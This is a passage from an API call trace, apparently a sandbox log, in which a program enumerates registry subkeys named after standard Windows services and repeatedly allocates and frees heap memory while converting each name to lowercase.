(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.623] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0253.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0253.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.624] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0253.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0253.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.624] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0253.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0253.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.624] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0253.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0253.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.624] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0253.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0253.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.625] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0253.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0253.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.625] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0253.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0253.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.625] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0253.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0253.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.626] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0253.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0253.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.626] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0253.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0253.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.626] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0253.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0253.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.626] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0253.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0253.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.627] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0253.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0253.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.627] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0253.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0253.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.627] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0253.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0253.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.628] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0253.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0253.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.628] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0253.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0253.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.628] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0253.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0253.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.628] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0253.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0253.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.629] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0253.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0253.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.629] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0253.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 